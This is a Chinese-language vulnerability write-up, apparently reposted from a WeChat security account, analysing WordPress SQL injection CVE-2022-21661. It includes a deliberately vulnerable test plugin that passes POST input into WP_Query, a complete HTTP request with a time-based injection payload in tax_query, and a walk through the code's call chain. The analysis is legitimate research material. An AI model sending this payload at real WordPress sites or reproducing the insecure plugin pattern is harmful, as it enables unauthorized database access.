WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析

admin 2024年10月7日18:18:31评论24 views字数 1945阅读6分29秒阅读模式
  • 前言

深藏了3个月的材料还敢拿出来敷衍了事?我:不,你不懂。‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍

  • 漏洞环境

选择的版本:5.8.2代码下载地址:https://github.com/WordPress/WordPress/releases/tag/5.8.2
  • 漏洞复现

 编辑生成一个php文件,并用zip压缩

<?phpfunction testSQLiCVE202221661(){echo 'test-cve-2022-21661-plugin';    $inputData = stripslashes($_POST['data']);    $jsonDecodeInputData = json_decode($inputData,true);    $wpTest = new WP_Query($jsonDecodeInputData);    wp_die();}add_action('wp_ajax_nopriv_testcve202221661','testSQLiCVE202221661');?>

    压缩后来到后台处,点击上传插件

WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析

    上传后点击,已安装插件,并进行开启

WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析

    发送如下请求包,即可造成延时注入

POST /wp-admin/admin-ajax.php HTTP/1.1Host: 10.211.55.3accept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 116action=testcve202221661&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) or (select sleep(2))#"]}}}

WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析

  • 漏洞分析

老规矩,先上分析出来的调用链关系,发现其实一直都在做数据的处理,直到最后利用do_action将参数送入wordpress自带的函数中,最主要在于对输入的terms的内容做处理的时候没处理好。

WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析

    在wp-admin/admin-ajax.php中会去判断用户是否会登录,但无论是否登录,这边下一步的执行代码都是一致的,其中do_action()为wordpress的内置函数,在这里相当于执行名称为wp_ajax_nopriv_{$action}的函数。调用的插件代码和burp包依此处进行构造。

WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析

     在wordpress的开发文档中也有对do_action的一个详细描述,可以起到一定的参考作用。

WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析

     因此,我们构造的插件代码如下,即可以利用此处调用到了该插件

WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析

     该漏洞主要由于调用了WP_Query函数产生,进一步跟踪发现,会先去执行初始化的魔术方法。

WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析

     跟踪进入get_posts函数

WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析

     会执行完parse_tax_query后,进入到get_sql方法中,parse_tax_query主要是对传入的数据进行处理。

WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析

    进入到数据处理时,会进一步赋值参数,然后代入到WP_Tax_Query中

WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析

WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析

    进入后会默认设置一个relation,再进入到sanitize_relation中

WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析

    最主要赋了个默认的operator值为IN

WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析

     回到get_sql,进一步跳转到get_sql_caluses函数

WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析

     到这里,会去调用get_sql_for_query去执行内容,这里的$query是可控的

WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析

     进一步跟踪,进入到get_sql_for_clause函数中,并进入到clean_query

WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析

    进入到clean_query中,还会去调用到transform_query函数

WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析

    进入到transform_query中发现if的判断语句

WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析

    最终作者认为是调用的do_action执行了sql语句。

WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析

  • 总结

    其实Payload中,最主要的确认其调用链,传入Sql的方法都大差不差。其实这篇是一位师傅的作业,一晃已经过去三个月了,希望Ta在接下来的工作生活中一天比一天开心: )

原文始发于微信公众号(Undoubted Security):WordPress SQL注入漏洞分析(CVE-2022–21661)漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月7日18:18:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WordPress SQL注入漏洞分析(CVE-2022-21661)漏洞分析https://cn-sec.com/archives/1971625.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息